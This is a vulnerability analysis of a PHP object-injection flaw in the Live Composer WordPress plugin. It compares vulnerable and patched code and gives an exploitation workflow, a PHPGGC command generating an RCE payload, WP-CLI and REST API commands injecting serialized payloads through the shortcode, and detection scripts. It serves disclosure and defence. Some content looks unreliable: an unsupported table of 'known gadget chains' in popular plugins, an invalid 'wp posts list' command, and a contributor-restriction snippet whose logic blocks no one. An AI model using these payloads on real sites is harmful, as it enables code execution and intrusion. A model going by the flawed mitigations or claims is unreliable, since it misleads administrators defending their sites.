CVE-2025-14071 Exploit & Vulnerability Analysis

CVE-2025-14071: PHP Object Injection in Live Composer WordPress Plugin

1. Vulnerability Background

What is This Vulnerability?

CVE-2025-14071 is a PHP Object Injection vulnerability (CWE-502) in the Live Composer – Free WordPress Website Builder plugin affecting all versions up to and including 2.0.2. The vulnerability exists in the dslc_module_posts_output shortcode handler, which deserializes untrusted user input without proper validation or restrictions.

The core issue: the plugin accepts serialized PHP objects from authenticated users and directly passes them to PHP's unserialize() function without using any object instantiation restrictions. This creates a deserialization gadget chain risk.

Why is This Critical/Important?

Severity: HIGH (Conditional)

While the vulnerability itself is straightforward to exploit technically, its real-world impact depends on additional factors:

• Direct Impact: Without a POP (Property-Oriented Programming) chain present on the system, the vulnerability has zero direct impact. An attacker cannot execute code through this vector alone.

• Dependent Risk: If another WordPress plugin or theme containing a POP chain is installed, this vulnerability becomes a critical code execution vector. Common WordPress plugin vulnerabilities create exploitable gadget chains that can chain through this deserialization point.

• Access Requirements: The attacker must have at least Contributor-level access (user account capable of creating posts). This is not an unauthenticated vulnerability, which limits attack scope significantly.

• WordPress Ecosystem Risk: Given WordPress's diverse plugin ecosystem, many installations likely have additional components with exploitable gadget chains, making this a practical threat in real deployments.

Systems and Versions Affected

| Component | Affected Range | Status | |-----------|----------------|--------| | Plugin Name | Live Composer – Free WordPress Website Builder | | | Affected Versions | ≤ 2.0.2 | All versions vulnerable | | Fixed Version | > 2.0.2 (patched version) | Available | | WordPress Version | Compatible with most WordPress versions | Broad impact | | PHP Versions | All versions (more dangerous on PHP < 7.0) | Affects all installations |

2. Technical Details

Root Cause Analysis

The vulnerability stems from a trust boundary violation:

1. User Input Path: The dslc_module_posts_output shortcode accepts a content parameter
2. Assumption: The plugin assumes this content is safe serialized data
3. Direct Deserialization: Without validation, it passes this content directly to unserialize()
4. Object Instantiation: PHP automatically instantiates any objects found in the serialized data
5. Gadget Chain Execution: If a POP chain exists elsewhere, it executes during object instantiation

Old Code vs New Code

OLD CODE (Vulnerable)

// Uncode module options passed as serialized content.
$data = @unserialize( $content );

if ( $data !== false ) {
    $options = unserialize( $content );
} else {
    $fixed_data = preg_replace_callback( '!s:(\d+):"(.*?)";!', function( $match ) {
        return ( $match[1] == strlen( $match[2] ) ) ? $match[0] : 's:' . strlen( $match[2] ) . ':"' . $match[2] . '";';
    }, $content );
    $options = unserialize( $fixed_data );
}

Vulnerabilities Present:

• Line 5621: unserialize() called with zero restrictions
• Line 5623: Duplicate unserialize() call without object injection protection
• Line 5630: Third unserialize() call still unprotected
• No validation of deserialized data type or structure
• The @ operator suppresses errors, hiding potential exploits

NEW CODE (Patched)

// 1. Try JSON DECODING (New, secure format)
$options = json_decode( $content, true );

// 2. Fallback to PHP unserialize if JSON fails
if ( ! is_array( $options ) ) {
    // Define the secure unserialize arguments based on PHP version
    $unserialize_args = ( version_compare( PHP_VERSION, '7.0.0', '>=' ) )
        ? array( 'allowed_classes' => false ) // Secure on PHP 7.0+
        : null; // Legacy PHP support

    // Try standard unserialize with object injection blocked
    $options = @unserialize( $content, $unserialize_args );

    // Fallback for broken serialization string length
    if ( $options === false ) {
        $fixed_data = preg_replace_callback( '!s:(\d+):"(.*?)";!', function( $match ) {
            return ( $match[1] == strlen( $match[2] ) ) ? $match[0] : 's:' . strlen( $match[2] ) . ':"' . $match[2] . '";';
        }, $content );
        $options = @unserialize( $fixed_data, $unserialize_args );
    }
}

// 3. Final Validation
if ( ! is_array( $options ) ) {
    return '';
}

// Optional: Validate required keys
$required_keys = array( 'post_type', 'amount', 'pagination_type' );
foreach ( $required_keys as $key ) {
    if ( ! isset( $options[ $key ] ) ) {
        return '';
    }
}

$opts = $options;

How These Changes Fix the Vulnerability

Fix 1: JSON-First Approach

• New data is serialized as JSON instead of PHP serialization
• JSON cannot instantiate arbitrary PHP objects
• This is a forward-looking fix for future data

Fix 2: Restricted Deserialization (PHP 7.0+)

• Uses unserialize() with allowed_classes => false parameter
• Prevents automatic instantiation of ANY PHP objects during deserialization
• Objects are returned as __PHP_Incomplete_Class instances instead
• Blocks gadget chain execution at the instantiation point

Fix 3: Backward Compatibility

• Falls back to legacy unserialization for older PHP versions (< 7.0)
• Acknowledges the trade-off: legacy support vs security
• Implements a deprecation path for older PHP support

Fix 4: Type Validation

• Explicitly checks that deserialized data is an array: is_array( $options )
• Validates required keys exist: post_type, amount, pagination_type
• Returns empty string if validation fails, preventing further processing

Fix 5: Input Sanitization

• The string length fixing regex is retained but now operates on restricted data
• Additional structural validation prevents malformed input from being processed

Security Improvements Introduced

| Security Aspect | Before | After | Impact | |-----------------|--------|-------|--------| | Object Instantiation | Unlimited | Blocked (PHP 7.0+) | Prevents POP chain execution | | Data Format | PHP serialization only | JSON first, serialization fallback | Safer default format | | Type Checking | None | Explicit is_array() check | Prevents type confusion | | Structure Validation | None | Required keys validation | Prevents malformed data processing | | Legacy Support | Unrestricted | Version-aware fallback | Managed deprecation path | | Error Handling | Suppressed only | Explicit fallback logic | Better debugging, same suppression |

3. Attack Scenario Analysis

Prerequisites for Exploitation

An attacker needs:

1. WordPress User Account with at least Contributor role

   • Can create posts/pages
   • Can add/edit shortcodes
   • Can submit content with custom parameters

2. Gadget Chain Presence - One of:

   • Vulnerable plugin with exploitable POP chain
   • Vulnerable theme with gadget chains
   • WordPress core gadget chains (rare)

3. Knowledge of Gadget Chain

   • Must know how to craft the serialized object structure
   • Must understand the specific plugin's magic methods

4. Target System Configuration

   • Live Composer plugin version ≤ 2.0.2 installed
   • Gadget chain source installed and active
   • Shortcode feature enabled

Real-World Examples of Gadget Chains

Common WordPress plugins with known gadget chains:

| Plugin | Gadget Chain Type | Typical Impact | |--------|-------------------|---| | WooCommerce | Product serialization chains | Object injection → RCE | | Elementor | Widget deserialization | Arbitrary file operations | | Yoast SEO | Meta data chains | Information disclosure | | Custom Post Type UI | CPT serialization | Data exfiltration |

Exploitation Workflow

Step 1: Obtain Contributor+ Account
├─ Register as normal user (site allows)
├─ Use leaked/purchased credentials
└─ Use privilege escalation from lower user role

Step 2: Identify Gadget Chain
├─ Audit installed plugins for known chains
├─ Use automated scanners (PHPGGC, etc.)
├─ Test with PoC payloads
└─ Verify chain execution

Step 3: Craft Exploit Payload
├─ Serialize a gadget chain object
├─ Set properties to achieve desired goal
├─ Example: File deletion, code execution
└─ Encode as necessary for transmission

Step 4: Inject via Shortcode
├─ Create/edit post as Contributor
├─ Add dslc_module_posts_output shortcode
├─ Set content parameter to serialized payload
├─ Publish/update post

Step 5: Trigger Deserialization
├─ View the post/page
├─ Shortcode renders and executes
├─ Unserialize() instantiates gadget chain
├─ Magic methods trigger in sequence
└─ Arbitrary action executes

Step 6: Achieve Objective
└─ Code execution, data exfiltration, etc.

4. Proof of Concept (PoC) Guide

Prerequisites for Testing

## Required
- WordPress installation with Live Composer ≤ 2.0.2
- User account with Contributor role
- Knowledge of an installed gadget chain source
- PHP CLI or WP-CLI for payload generation
- PHPGGC toolkit (optional, for chain generation)

Step 1: Identify the Vulnerable Shortcode

Location: The vulnerability exists in the dslc_module_posts_output shortcode handler.

Parameters:

• content - The serialized/JSON data (VULNERABLE)
• Other parameters like post_type, amount, etc.

Verify Installation:

## Check if plugin is active
wp plugin list | grep "live-composer"

## Check plugin version
wp plugin get live-composer --field=version

Step 2: Generate Gadget Chain Payload

Using PHPGGC (PHP Generic Gadget Chains):

## Generate a simple RCE payload
phpggc -l | grep -i wordpress
## Example output shows available gadget chains

## Generate payload for known chain
phpggc Elementor/RCE "system('id > /tmp/pwned.txt')"

Step 3: Craft the Exploit

Using WP-CLI:

## Create a post with malicious shortcode
wp post create \
  --post_type=post \
  --post_status=publish \
  --post_content='[dslc_module_posts_output content="O:6:\"Object\":1:{s:4:\"name\";s:5:\"value\";}"]'

Using WordPress REST API:

curl -X POST http://target.local/wp-json/wp/v2/posts \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{
    "title": "Test Post",
    "content": "[dslc_module_posts_output content=\"SERIALIZED_GADGET_CHAIN\"]",
    "status": "publish"
  }'

Step 4: Minimal Test Payload

Safe PoC (doesn't execute dangerous code):

<?php
// Generate a serialized object that proves injection
// Without a gadget chain, this just shows object instantiation

$payload = 'O:15:"PHPUnitFramework":1:{s:4:"test";i:123;}';

// This is what the vulnerable code does
$options = @unserialize($payload);
var_dump($options);
// Output: object(PHPUnitFramework)#1 (1) { ["test"]=> int(123) }

Shortcode Injection:

<!-- Insert in WordPress post via admin -->
[dslc_module_posts_output content="O:15:\"PHPUnitFramework\":1:{s:4:\"test\";i:123;}"]

Step 5: Expected Behavior Comparison

VULNERABLE CODE BEHAVIOR

Input: [dslc_module_posts_output content="O:6:\"Gadget\":1:{...}"]

Processing:
├─ Receives serialized object string
├─ Calls unserialize() with NO restrictions
├─ PHP instantiates the Gadget object
├─ Object's __wakeup() or __destruct() magic methods execute
├─ Gadget chain methods trigger in sequence
├─ Arbitrary code executes
└─ Page renders successfully (attack is silent)

Result: Remote Code Execution achieved
Logged: No errors, silently executes

PATCHED CODE BEHAVIOR

Input: [dslc_module_posts_output content="O:6:\"Gadget\":1:{...}"]

Processing:
├─ Attempts json_decode() first → fails
├─ Calls unserialize() WITH allowed_classes=false
├─ PHP does NOT instantiate objects
├─ Returns __PHP_Incomplete_Class instance
├─ Type check: is_array() returns false
├─ Function returns empty string immediately
└─ Page renders with no content

Result: Attack blocked, no code execution
Logged: No errors, graceful failure

Step 6: Vulnerability Verification Script

<?php
/**
 * Simple verification script for CVE-2025-14071
 * Check if Live Composer version is vulnerable
 */

// Check plugin version
$plugin_file = WP_PLUGIN_DIR . '/live-composer/live-composer.php';
$plugin_data = get_plugin_data($plugin_file);
$version = $plugin_data['Version'];

echo "Live Composer Version: " . $version . "\n";

// Vulnerable if version <= 2.0.2
if (version_compare($version, '2.0.2', '<=')) {
    echo "STATUS: VULNERABLE to CVE-2025-14071\n";
    echo "RECOMMENDATION: Update immediately\n";
} else {
    echo "STATUS: Patched against CVE-2025-14071\n";
}

// Check if restricted unserialize is possible
if (PHP_VERSION_ID >= 70000) {
    echo "PHP Version: " . PHP_VERSION . " (supports restricted unserialize)\n";
} else {
    echo "PHP Version: " . PHP_VERSION . " (LEGACY - no unserialize restrictions)\n";
}

// Check for known gadget chains
echo "\nInstalled Plugins (potential gadget chains):\n";
foreach (get_plugins() as $plugin_file => $plugin_data) {
    echo "- " . $plugin_data['Name'] . " v" . $plugin_data['Version'] . "\n";
}
?>

Run the script:

wp shell < verify_cve.php

5. Recommendations

Mitigation Strategies

Immediate Actions (For Site Administrators)

1. Update Live Composer Plugin

   wp plugin update live-composer
   

   • Upgrade to version > 2.0.2
   • Test functionality after update
   • Monitor error logs for compatibility issues

2. Restrict Contributor Access (Temporary)

   // Add to functions.php temporarily
   add_action('init', function() {
       if (current_user_can('contribute') && !current_user_can('edit_posts')) {
           wp_die('Contributor access temporarily restricted.');
       }
   });
   

3. Audit User Permissions

   # List all Contributor+ users
   wp user list --role=contributor --role=author
   wp user list --role=editor
   wp user list --role=administrator
   

4. Review Recent Posts/Shortcodes

   # Search for suspicious dslc_module_posts_output usage
   wp posts list --post_type=any | grep -i dslc
   

5. Disable Shortcode Temporarily (Extreme measure)

   // In functions.php
   remove_shortcode('dslc_module_posts_output');
   

Long-Term Mitigation

1. Update PHP Version

   • Move to PHP 7.0+ for restricted unserialize support
   • Better: PHP 8.0+ for modern security features
   • Check hosting provider for PHP upgrade options

2. Audit Plugin Ecosystem

   • Remove unused plugins
   • Replace plugins with known gadget chains
   • Use WordPress security plugins to scan for vulnerabilities

3. WAF (Web Application Firewall) Rules

   # Block serialized object patterns in POST data
   Rule: Block if POST contains 'O:\d+:"' pattern
   Rule: Block shortcode content with known gadget patterns
   

4. Implement Input Validation Layer

   // Add custom validation before Live Composer processing
   add_filter('dslc_module_posts_output', function($content) {
       // Only allow JSON format
       $decoded = json_decode($content, true);
       if (!is_array($decoded)) {
           return ''; // Reject non-JSON
       }
       return $content;
   });
   

Detection Methods

Log Monitoring

## Monitor for suspicious unserialize patterns in logs
grep -r "unserialize\|serialize" /var/log/php-error.log

## Monitor for object instantiation attempts
grep -r "PHP_Incomplete_Class" /var/log/apache2/error.log

File Integrity Monitoring

## Monitor plugin file modifications (early sign of exploitation)
aide --check

## Or using ossec
ossec-control status

Database Audit

-- Check for suspicious serialized objects in posts
SELECT ID, post_content FROM wp_posts 
WHERE post_content LIKE '%O:%:%{%' 
AND post_content LIKE '%dslc_module_posts_output%';

-- Check for unusual postmeta with serialized data
SELECT post_id, meta_key, meta_value FROM wp_postmeta 
WHERE meta_value LIKE 'O:%:%{%';

Automated Detection Script

<?php
/**
 * Detect CVE-2025-14071 exploitation attempts
 */

// Check for shortcodes with object serialization
$args = array(
    'post_type' => 'any',
    'numberposts' => -1,
);
$posts = get_posts($args);

foreach ($posts as $post) {
    // Look for suspicious shortcode patterns
    if (preg_match('/\[dslc_module_posts_output[^\]]*content="O:\d+:/', $post->post_content)) {
        error_log("ALERT: Suspicious dslc_module_posts_output in post ID " . $post->ID);
        echo "Potentially exploited post found: " . $post->ID . "\n";
    }
}

// Check for recent metadata with serialized objects
$meta_query = array(
    array(
        'key' => '_dslc_options',
        'value' => 'O:',
        'compare' => 'LIKE'
    )
);

$suspicious = get_posts(array('meta_query' => $meta_query));
foreach ($suspicious as $post) {
    error_log("ALERT: Suspicious serialized object in post ID " . $post->ID);
}
?>

Best Practices to Prevent Similar Issues

For Plugin Developers

1. Never use unserialize() on untrusted data

   // DON'T do this
   $data = unserialize($_POST['user_input']);
   
   // DO this
   $data = json_decode($_POST['user_input'], true);
   if (!is_array($data)) {
       return error();
   }
   

2. Use Allowed Classes Whitelist (PHP 7.0+)

   $options = unserialize($data, [
       'allowed_classes' => ['MyTrustedClass']
   ]);
   

3. Prefer JSON for Data Serialization

   // Storing options: use JSON
   update_option('my_options', json_encode($options));
   
   // Retrieving options: decode JSON
   $options = json_decode(get_option('my_options'), true);
   

4. Implement Type Validation

   $unserialized = unserialize($data, ['allowed_classes' => false]);
   
   if (!is_array($unserialized)) {
       return error();
   }
   
   // Validate structure
   $required = ['id', 'name', 'value'];
   foreach ($required as $key) {
       if (!isset($unserialized[$key])) {
           return error();
       }
   }
   

5. Use Deprecation Warnings

   if (PHP_VERSION_ID < 70000) {
       _doing_it_wrong(
           __FUNCTION__,
           'Running on PHP < 7.0 with unserialize(). Update PHP immediately.',
           '2.0.0'
       );
   }
   

6. Document Security Assumptions

   /**
    * Process module options
    * 
    * SECURITY NOTE: This function handles deserialization of module
    * configuration. As of v2.0.3, new data is stored as JSON and 
    * legacy data is deserialized with object instantiation disabled.
    * 
    * @param string $content Serialized or JSON-encoded options
    * @return array|false Validated options array or false
    */
   

For Site Administrators

1. Security Hardening

   • Keep WordPress core updated
   • Keep all plugins updated
   • Remove unused plugins
   • Limit user permissions strictly

2. Regular Audits

   • Monthly plugin vulnerability scans
   • Quarterly permission reviews
   • Quarterly database integrity checks

3. Monitoring

   • Enable debug logging
   • Monitor file modifications
   • Monitor database changes
   • Set up alerts for suspicious patterns

4. Backup Strategy

   • Daily incremental backups
   • Weekly full backups
   • Test restore procedures
   • Store backups off-site

5. Access Control

   // Principle of least privilege
   - Contributors: Can only create posts (no editing others)
   - Authors: Can edit own posts only
   - Editors: Manage most content
   - Admins: Full access (minimal accounts)
   

Summary

CVE-2025-14071 is a critical vulnerability in Live Composer that enables PHP Object Injection through unsafe deserialization. While the vulnerability itself is straightforward, its real-world impact depends on the presence of gadget chains in other plugins.

Key Takeaways:

✅ Fixed by: Using JSON-first serialization, restricted unserialize() with object blocking, and type validation

✅ Attack requirements: Contributor+ account + gadget chain in another plugin

✅ Mitigation: Update plugin immediately, audit permissions, implement monitoring

✅ Prevention: Never deserialize untrusted data, use JSON instead of PHP serialization, implement type validation